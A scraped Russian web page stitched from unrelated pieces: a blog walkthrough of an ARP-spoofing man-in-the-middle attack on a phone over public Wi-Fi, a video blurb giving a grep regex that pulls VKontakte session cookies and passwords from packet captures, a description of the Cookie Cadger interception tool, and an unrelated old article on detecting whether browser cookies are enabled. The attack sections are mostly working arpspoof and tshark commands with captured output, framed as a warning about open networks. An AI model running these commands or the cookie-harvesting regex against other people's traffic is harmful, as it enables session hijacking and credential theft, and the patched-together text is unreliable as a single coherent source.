Как перехватить данные по wifi? — rpilot62.ru

Вчера @akaDimiG сбросил мне небольшую заметку «Безопасность Wi-Fi в iPhone под сомнением», которая с первого взгляда у меня вызвала большое сомнение.

4 ноября компания SMobile Global Threat Center опубликовала исследование об атаке MITM (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi. Ничего нового это исследование не открыло — эти техники известны давно, однако оно обратило внимание на технику обхода шифрации SSL (SSL Bypass). Статья доступна в виде PDF на сайте компании. Уязвимость SSL была продемонстрирована на конференции Black Hat в феврале 2009. Детальное описание можно посмотреть в презентации Moxie Marlinspike (PDF) «New Tricks For Defeating SSL In Practice».

Но, поддавшись первому порыву, посмотрите внимательно на этот доклад. Чтобы атака сработала, клиент должен установить соединение по http (gmail.com), исследователь перехватывает ссылку, на которую переправляет (https://gmail.com) и сам общается с gmail по https, транслируя все данные форм, возвращая «жертве» данные по http. Но если «жертва» пойдёт прямо на «https://gmail.com», то никакой MITM/SSL Bypass не расшифрует этот трафик. И только закон больших чисел даёт из сотен человек найти одну «жертву». Исследование — это отличный PR, рассчитанный на обычных людей. Посмотрите на десяток перепечаток новости — в каждой сквозит беспочвенная паника.

Поэтому вместо гипотетического «SSL Bypass» давайте рассмотрим, как провести атаку Man In The Middle.

Man in the middle

Я проходился по нерадивым администраторам, для облегчения себе жизни или из простого незнания не уделяющим внимания потенциальным дырам в безопасности. Атаку MITM можно сделать невозможной, включив на точке доступа функцию «AP Isolation», тогда клиенты в сети не смогут взаимодействовать напрямую. По крайней мере в точках LinkSys я такую функцию находил.

Раньше я думал, что MITM осуществить непросто, и на неё можно не обращать внимание. Как я ошибался…

Итак, приступим. Нам понадобится ноутбук (тематика блога подразумевает ноутбук Apple, но подойдёт любой Unix).

MITM заключается в том, чтобы заставить клиента думать, что трафик нужно просылать не через законный маршрутизатор, а через компьютер атакующего, путём внедрения фальшивого ARP.

Для этого нужна утилита arpspoof. Она входит в пакет dsniff.

Обновляем порты:

$ sudo port selfupdate $ port search dsniff dsniff @2.3 (net) network auditing and penetration testing tools dsniff-devel @2.4b1 (net) network auditing and penetration testing tools

К сожалению, у меня не поставлся обычный dsniff из-за проблем компиляции с libnet, поэтому использовал dsniff-devel, ставящий библиотеки X11.

$ sudo port install dsniff-devel

Теперь нужно определить адрес «жертвы». Он определяется по броадкаст- и мультикаст-запросам, которые устройство посылает после входа в сеть. Это делаем утилитой tshark из пакета Wireshark.

В качестве жертвы я использовал iPhone, подключающийся в WiFi-сеть, в которой уже зарегистрирован «исследователь».

Для простоты убираем из захвата tshark пакеты исследователя (192.168.99.10):

$ sudo tshark -i en1 not host 192.168.99.10 86.799891 0.0.0.0 -> 255.255.255.255 DHCP DHCP Request — Transaction ID 0x702c1385 86.799930 Apple_43:7e:5b -> Broadcast ARP Gratuitous ARP for 192.168.99.12 (Request) 87.208880 Apple_43:7e:5b -> Broadcast ARP Who has 169.254.255.255? Tell 192.168.99.12 87.329216 192.168.99.12 -> 224.0.0.2 IGMP V2 Leave Group 224.0.0.251 87.336388 192.168.99.12 -> 224.0.0.251 IGMP V2 Membership Report / Join group 224.0.0.251 87.535037 Apple_43:7e:5b -> Broadcast ARP Who has 169.254.255.255? Tell 192.168.99.12 87.633880 Apple_43:7e:5b -> Broadcast ARP Who has 192.168.99.1? Tell 192.168.99.12 87.635113 192.168.99.12 -> 224.0.0.251 MDNS Standard query ANY ole-iphone.local, «QU» question 87.790738 Apple_43:7e:5b -> Broadcast ARP Who has 192.168.99.1? Tell 192.168.99.12 87.885778 192.168.99.12 -> 224.0.0.251 MDNS Standard query ANY ole-iphone.local, «QM» question 87.935788 Apple_43:7e:5b -> Broadcast ARP Who has 169.254.255.255? Tell 192.168.99.12 88.135397 192.168.99.12 -> 224.0.0.251 MDNS Standard query ANY ole-iphone.local, «QM» question 88.336400 Apple_43:7e:5b -> Broadcast ARP Who has 169.254.255.255? Tell 192.168.99.12 88.385319 192.168.99.12 -> 224.0.0.251 MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local 89.461989 192.168.99.12 -> 224.0.0.251 MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local 91.407420 192.168.99.12 -> 224.0.0.251 MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local 92.226848 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 92.227119 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 93.660303 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 93.660615 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 94.457022 192.168.99.12 -> 224.0.0.251 IGMP V2 Membership Report / Join group 224.0.0.251 95.401260 192.168.99.12 -> 224.0.0.251 MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local

Жертва определена, она получила адрес 192.168.99.12. Необходимо пропустить трафик жертвы через ноутбук, для чего включаем ip forwarding:

$ sysctl net.inet.ip.forwarding net.inet.ip.forwarding: 0 $ sudo sysctl -w net.inet.ip.forwarding=1

Запускаем инъекцию ложных arp, чтобы «жертве» в ответ на запрос mac маршрутизатора выдался mac «исследователя»:

$ sudo arpspoof -i en1 -t 192.168.99.12 192.168.99.1 0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c 0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c 0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c 0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c

  • -i en1 — AirPort
  • -t 192.168.99.12 — адрес жертвы, ложный mac будет сообщаться в ответ на запросы с этого адреса
  • 192.168.99.1 — адрес маршрутизатора, фальшивый mac будет сообщаться в ответ на запросы этого адреса

00:26:08:e2:a6:0c — это mac ноутбука исследователя:

$ ifconfig en1 en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 inet 192.168.99.10 netmask 0xffffff00 broadcast 192.168.99.255 ether 00:26:08:e2:a6:0c

Вот, собственно, и всё, теперь трафик «жертвы» проходит через ноутбук исследователя:

$ sudo tshark -i en1 host 192.168.99.12 Capturing on en1 0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c 9.279215 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com 9.279237 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com 9.279270 192.168.99.10 -> 192.168.99.12 ICMP Redirect (Redirect for host) 9.291862 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0 9.291932 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0 9.429857 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811 9.429898 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 48#1] 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811 9.430490 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881 9.430498 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 50#1] 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881 9.439025 192.168.99.12 -> 213.136.52.29 HTTP GET /news-and-events/web-seminars/display-467.html HTTP/1.1 9.439079 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /news-and-events/web-seminars/display-467.html HTTP/1.1 9.637697 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948 9.637759 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 54#1] 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948 9.638451 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948 9.638503 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 56#1] 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948 9.649155 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948 9.649211 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948 9.702673 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.702728 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.719934 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.719989 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.727094 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.727138 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0 9.841247 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568 9.841309 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 66#1] 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568 9.841400 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572 9.841428 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 68#1] 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572 9.845311 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573 9.845379 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 70#1] 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573 9.845543 192.168.99.12 -> 213.136.52.29 HTTP GET /common/js/clear_search_text.js HTTP/1.1 9.845593 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/js/clear_search_text.js HTTP/1.1 9.845986 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/print.css HTTP/1.1 9.846023 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/print.css HTTP/1.1 9.848917 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/mysql.css HTTP/1.1 9.848971 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/mysql.css HTTP/1.1

К счастью, обмен с MobileMe и GMail ведётся по HTTPS/IMAPS:

$ sudo tshark -i en1 host 192.168.99.12 Capturing on en1 0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c 2.000779 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c 4.001618 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c 4.837984 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data 4.838017 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data 4.838547 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data 4.838561 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data 4.941498 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461 4.941578 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 8#1] 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461 4.945409 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data 4.945452 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data 5.044213 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546 5.044263 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 12#1] 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546 5.098574 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data 5.098645 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data 5.103338 192.168.99.12 -> 17.148.16.43 TCP 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298 5.103411 192.168.99.12 -> 17.148.16.43 TCP [TCP Dup ACK 16#1] 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298 5.109752 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data 5.109792 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data 5.114479 192.168.99.12 -> 195.47.212.25 SSL Client Hello

Как вы видите, MITM реализуется очень просто.

Поэтому не рекомендую работать с важными данными и входить на критические сайты через публичные точки WiFi. Лучше использовать мобильный Интернет, здесь перехватить трафик любому желающему, сидящему за соседним столиком, нереально. Или же использовать VPN. А проще всего всегда контролировать, что используется именно SSL и данные не идут через незашифрованные http, pop3 и imap.

"Взлом" вконтакте через открытый WiFi

TOMSK.FM → Наука и техника

Перехват cookie в реальном времени в открытых WiFi-сетях
На видео показан угон сессии вконтакте.ру, который почему-то до сих пор не использует авторизацию с https и передает пароли открытым текстом.
Дамп трафика собирается программой kismac в формате libpcap и параллельно парсится grep-ом с использованием регулярных выражений, что позволяет в реальном времени выводить на экран все интересующие куки и пароли. При этом не используется никаких анализаторов пакетов.

regexp для перехвата вконтакте.ру:

tail -F pcap.файл | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&amp;]+&amp;pass=[^ ]+»

Аналогичная конструкция будет работать и с дампом собранным с помощью airdump-ng.

36

  03:32 4474  FLASH2010-12-21 15:17:38+00:00

<iframe width="854" height="movie.video_height" src="https://tomsk.fm/embed/hclQc7nzpN8?start=115" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>

We’ve raised $2,696 for Hackers for Charity so far!


An auditing tool for Wi-Fi or wired Ethernet connections

Download the ApplicationGet the Source Code
Or click here if you’d like to report a bug / get some troubleshooting help!

What’s New in 1.07?

  • Bugfix for inability to replay sessions into latest version of Firefox.

What’s New in 1.06?

  • Bugfix for infinite request loop when using session detection, causing 100% CPU and significant traffic to URL.

What’s New in 1.05?

  • Bugfix for tshark error stream handling in Wireshark 1.10 and up.

What’s New in 1.0?

  • Support for multiple running copies on a single shared MySQL database.
  • ‘Headless’ operation on systems without a graphical interface.
  • Ability to modify request headers before replaying into browser.
  • Real-time filtering to quickly narrow in on important information.
  • Support for running on top of the Raspberry Pi.
  • Significant performance increases and many bug fixes.
  • Session detection now supports Drupal, Facebook, GetSimple CMS, Go Daddy, Joomla!, MediaWiki, OkCupid, phpBB 3.X, Reddit, Twitter, Wikipedia, WordPress

Web app developers:
It’s 2013. Why aren’t you defaulting to SSL/TLS?

Many sites that exchange personal or private information are still using HTTP instead of wrapping the request into SSL/TLS. In 2010, Firesheep came on the scene and forced many popular web applications, such as Facebook and Twitter, to offer a “Force Secure Browsing” option. However this isn’t enough – web applications must take responsibility for their users’ security.

It’s time to default all users to SSL/TLS.

What is Cookie Cadger?

Cookie Cadger’s Session Detection Features

Cookie Cadger helps identify information leakage from applications that utilize insecure HTTP GET requests.

Web providers have started stepping up to the plate since Firesheep was released in 2010. Today, most major websites can provide SSL/TLS during all transactions, preventing cookie data from leaking over wired Ethernet or insecure Wi-Fi. But the fact remains that Firesheep was more of a toy than a tool. Cookie Cadger is the first open-source pen-testing tool ever made for intercepting and replaying specific insecure HTTP GET requests into a browser.

Cookie Cadger’s Request Enumeration Abilities

Cookie Cadger is a graphical utility which harnesses the power of the Wireshark suite and Java to provide a fully cross-platform, entirely open-source utility which can monitor wired Ethernet, insecure Wi-Fi, or load a packet capture file for offline analysis.

Checking if Cookies are Enabled

UPDATE: The information contained on this page is very old and obsolete. Seek counsel elsewhere!


One of the uncertainties facing any web developer are the myriad browser configurations of different end-users. Some users may disable cookies due to fear that their personal information is being compromised, while the more security-paranoid may even disable JavaScript. This can pose a problem for web mechanisms that rely on cookies to store session identification and other neccessary information. Consequently, there may often be occasions where one wishes to check whether an end-user has cookies enabled. In this short article, I discuss some methods that can be used to check whether cookies are enabled, providing code samples.

The JavaScript Method

The simplest way to check for cookies is via JavaScript.

The following function will return a boolean value — true if cookies are enabled:

function are_cookies_enabled() { var cookieEnabled = (navigator.cookieEnabled) ? true : false; if (typeof navigator.cookieEnabled == «undefined» && !cookieEnabled) { document.cookie=»testcookie»; cookieEnabled = (document.cookie.indexOf(«testcookie») != -1) ? true : false; } return (cookieEnabled); }

A snippet of code using the function above was executed when you loaded this page.

The message below should notify you of your cookie status:

One of the disadvantages of the method above is that it requires JavaScript. Security-conscious end-users are often people who disable JavaScript as well as cookies. Thus, checking for the presence of cookies with JavaScript should be a supplementary method — not one to be relied upon. For that, we need server-side checking in the CGI script(s).

The Standard Server-Side CGI Method

Your server-side scripting language of choice may vary, so I’ll just stick to Perl for the purposes of this example, although the principle at work should be equally applicable to all server-side scripting languages. When a CGI program receives a request, it receives not only the CGI parameters (via the Query string or via STDIN, depending on wheter you use the GET or POST methods), but also an environment global variable. In Perl, this variable is accessed via the %ENV hash (associate array). Cookie data is stored in the environment hash by the key HTTP_COOKIE. Thus, to access raw cookie data, one would work with the scalar value $ENV{‘HTTP_COOKIE’}.

Browsers with cookies disabled leave this environment key undefined.

Thus, a simple snippet of code should suffice to check whether the end-user invoking the CGI script has cookies enabled:

#!/usr/bin/perl -w print «Content-Type: text/plain\n\n»; if( !defined( $ENV{‘HTTP_COOKIE’} ) ) { print «You have cookies DISABLED»; } else { print «You have cookies ENABLED»; }

You can test this script here.

It is worth noting that this method, too, has its shortcomings. If the user has previously visited your site and received a cookie, this method will report the user as having cookies enabled, since the environment variable will contain data from his previous session — this need not mean that the user has cookies enabled at the moment he calls your CGI script. This brings us to the final method, which is quite kludgy.

Setting and getting via CGI

The JavaScript example above tested for cookies by trying to set a cookie and then checking whether the newly set cookie existed. We can do the same with our server-side CGI script — it isn’t pretty, but it’s guaranteed to work reliably under all circumstances. Again, I’ll use Perl for purposes of demonstration.

First, we need to attempt to set some dummy cookie. We’ll do this in our first CGI script, which I shall call . It will, in turn, redirect the end-user to our second script,

#!/usr/bin/perl -w my $date; # You should make the $date variable be a date # a few minutes from time of execution print «Set-Cookie: my_website_dummy_test=1; expires=$date; path=/\n»; print «Content-Type: text/html\n\n»; print ‘<html><head><meta http-equiv=»refresh» content=»0;URL=/cgi-bin/cookie-check.pl»></head></html>’;

Now, in the second script, we check whether the cookie was successfully set.

#!/usr/bin/perl -w print «Content-Type: text/plain\n\n»; if (!defined($ENV{‘HTTP_COOKIE’}) or $ENV{‘HTTP_COOKIE’} !~ /my_website_dummy_test/) { print «You have cookies DISABLED»; } else { print «You have cookies ENABLED»; }

You can test this checking mechanism for yourself by clicking this link.

This last method should be relatively foolproof — I have had no problems making use of it on active, heavily used corporate websites that receive visitors from particularly security-sensitive people. That being said, if you wish to service the truly security-conscious, it is best to avoid cookies and employ the Hot Potato method instead.

.

Добавить комментарий

Закрыть меню